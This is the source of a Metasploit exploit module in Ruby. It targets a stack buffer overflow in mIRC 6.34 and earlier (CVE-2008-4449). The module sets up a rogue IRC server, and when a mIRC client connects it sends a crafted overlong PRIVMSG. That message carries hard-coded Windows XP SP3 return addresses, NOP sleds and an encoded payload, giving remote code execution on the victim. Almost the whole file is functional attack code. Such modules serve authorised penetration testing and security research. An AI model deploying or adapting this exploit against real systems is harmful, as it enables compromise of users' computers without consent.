81 lines
2.8 KiB
Ruby
81 lines
2.8 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::TcpServer
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include Msf::Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'mIRC PRIVMSG Handling Stack Buffer Overflow',
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'Description' => %q{
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This module exploits a buffer overflow in the mIRC IRC Client v6.34 and earlier.
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By enticing a mIRC user to connect to this server module, an excessively long PRIVMSG
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command can be sent, overwriting the stack. Due to size restrictions, ordinal payloads
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may be necessary. This module is based on the code by SkD.
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},
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'Author' => [ 'aushack' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2008-4449' ],
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[ 'OSVDB', '48752' ],
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[ 'BID', '31552' ],
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[ 'EDB', '6666' ]
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 160,
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'BadChars' => "\x00\x07\x0a\x0b\x0c\x0d\x20\x21\x22\x23\x24\x25\x27\x2a\x2c\x2e\x2f\x3a\x3b\x3c\x3e\x3f\x40\x7b\x7c\x7d", # This is mostly a guess plus some RFC info.
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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# Patrick - Tested against xpsp3 ok 20090715
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[ 'Windows XP SP3', { 'Rets' => [
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0x7792FBD1, # SETUPAPI.DLL pop eax pop ret
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0x7FFDB5B5,
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0x779D87B7, # SETUPAPI.DLL 0x779D87B7 jmp esp
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] } ]
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],
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'Privileged' => false,
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'DisclosureDate' => 'Oct 02 2008',
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'DefaultTarget' => 0))
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register_options(
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[
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OptPort.new('SRVPORT', [ true, "The IRC server port to listen on", 6667 ]),
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OptString.new('SRVNAME', [ true, "Welcome to the ... IRC Server Name", "Internet Relay Network" ]),
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])
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end
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def on_client_connect(client)
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return unless regenerate_payload(client)
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print_status("Client connected! Sending payload...")
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buffer = ":my_irc_server.com 001 wow :Welcome to the #{datastore['SRVNAME']} wow\r\n"
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client.put(buffer)
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end
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def on_client_data(client)
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client.get_once
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select(nil,nil,nil,2)
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sploit = ":" + Rex::Text.rand_text_alphanumeric(307) + [target['Rets'][0]].pack('V') + [target['Rets'][1]].pack('V')
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sploit << make_nops(4) + [target['Rets'][2]].pack('V') + make_nops(4) + "B" * 12
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sploit << Rex::Arch::X86.jmp_short(3) +Rex::Text.rand_text_alphanumeric(2)
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sploit << make_nops(4) + payload.encoded + make_nops(4) + " PRIVMSG wow : /FINGER wow\r\n"
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client.put(sploit)
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handler(client)
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service.close_client(client)
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end
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end
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